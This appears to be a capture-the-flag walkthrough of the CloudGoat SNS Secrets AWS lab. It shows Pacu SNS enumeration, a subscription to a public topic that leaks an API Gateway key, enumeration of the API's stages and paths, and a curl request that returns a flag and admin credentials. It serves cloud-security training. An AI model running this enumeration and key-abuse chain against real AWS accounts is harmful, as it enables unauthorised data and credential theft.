Cloudgoat-SNS-Secrets

AWS SNS Privilege Escalation Walkthrough

Initial Access

We begin with the following AWS credentials:

1
2
3
sns_user_access_key_id = [REDACTED]
sns_user_secret_access_key = [REDACTED]

1
2
3
4
5
6
aws sts get-caller-identity --profile init
{
"UserId": "AIDAQ6VKGD5Y4HR5QXYBV",
"Account": "065855168369",
"Arn": "arn:aws:iam::065855168369:user/cg-sns-user-cgidi78fhfoxxa"
}

SNS Enumeration

Based on the IAM username, we can infer that this account likely has access to SNS services. Let’s use Pacu to enumerate SNS resources:

1
2
3
Pacu (init:imported-init) > run sns_enum
Module not found. Is it spelled correctly? Try using the module search function.
Pacu (init:imported-init) > run sns__enum

Topics

We discovered one SNS topic. Let’s retrieve the specific details for this topic:

1
data SNS
1
2
3
4
5
6
7
8
9
10
11
{
"sns": {
"us-east-1": {
"arn:aws:sns:us-east-1:065855168369:public-topic-cgidi78fhfoxxa": {
"Owner": "065855168369",
"SubscriptionsConfirmed": "0",
"SubscriptionsPending": "0"
}
}
}
}

Exploiting SNS Topic Access

If our IAM user has the sns:GetTopicAttributes permission for the target SNS topic, we can subscribe to it to gain more information. Let’s run:

1
run sns__subscribe --topics arn:aws:sns:us-east-1:065855168369:public-topic-cgidi78fhfoxxa --email yourMAIL@gmail.com

This will trigger a subscription confirmation email.
EmailCpnf

Mail

SNS_ACTV
Approximately one minute after confirming the subscription, we receive an email containing an API Gateway key.
API

API Gateway Enumeration

First, let’s identify the API Gateway that will accept our newly acquired API key:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{
"items": [
{
"id": "8iisigub4b",
"name": "cg-api-cgidi78fhfoxxa",
"description": "API for demonstrating leaked API key scenario",
"createdDate": "2025-05-14T12:38:25+03:00",
"apiKeySource": "HEADER",
"endpointConfiguration": {
"types": ["EDGE"],
"ipAddressType": "ipv4"
},
"tags": {
"Scenario": "iam_privesc_by_key_rotation",
"Stack": "CloudGoat"
},
"disableExecuteApiEndpoint": false,
"rootResourceId": "9ehi5vsa3m"
}
]
}

Finding the Stage Name

We need to identify the deployed stages:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"item": [
{
"deploymentId": "62jn11",
"stageName": "prod-cgidi78fhfoxxa",
"cacheClusterEnabled": false,
"cacheClusterStatus": "NOT_AVAILABLE",
"methodSettings": {},
"variables": {},
"tracingEnabled": false,
"createdDate": "2025-05-14T12:38:27+03:00",
"lastUpdatedDate": "2025-05-14T12:38:27+03:00"
}
]
}

Identifying Available Resource Paths

Let’s enumerate the available API endpoints:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"items": [
{
"id": "9ehi5vsa3m",
"path": "/"
},
{
"id": "jl35fp",
"parentId": "9ehi5vsa3m",
"pathPart": "user-data",
"path": "/user-data",
"resourceMethods": {
"GET": {}
}
}
]
}

Accessing Sensitive Data

Now we can construct our request using the API key to access the /user-data endpoint:

1
curl -X GET   -H "x-api-key: [REDACTED]"   https://8iisigub4b.execute-api.us-east-1.amazonaws.com/prod-cgidi78fhfoxxa/user-data

Success! We retrieved the flag and administrative credentials:

1
2
3
4
5
6
7
8
9
10
{
"final_flag": "FLAG{SNS_S3cr3ts_ar3_FUN}",
"message": "Access granted",
"user_data": {
"email": "[REDACTED]",
"password": "[REDACTED]",
"user_id": "1337",
"username": "SuperAdmin"
}
}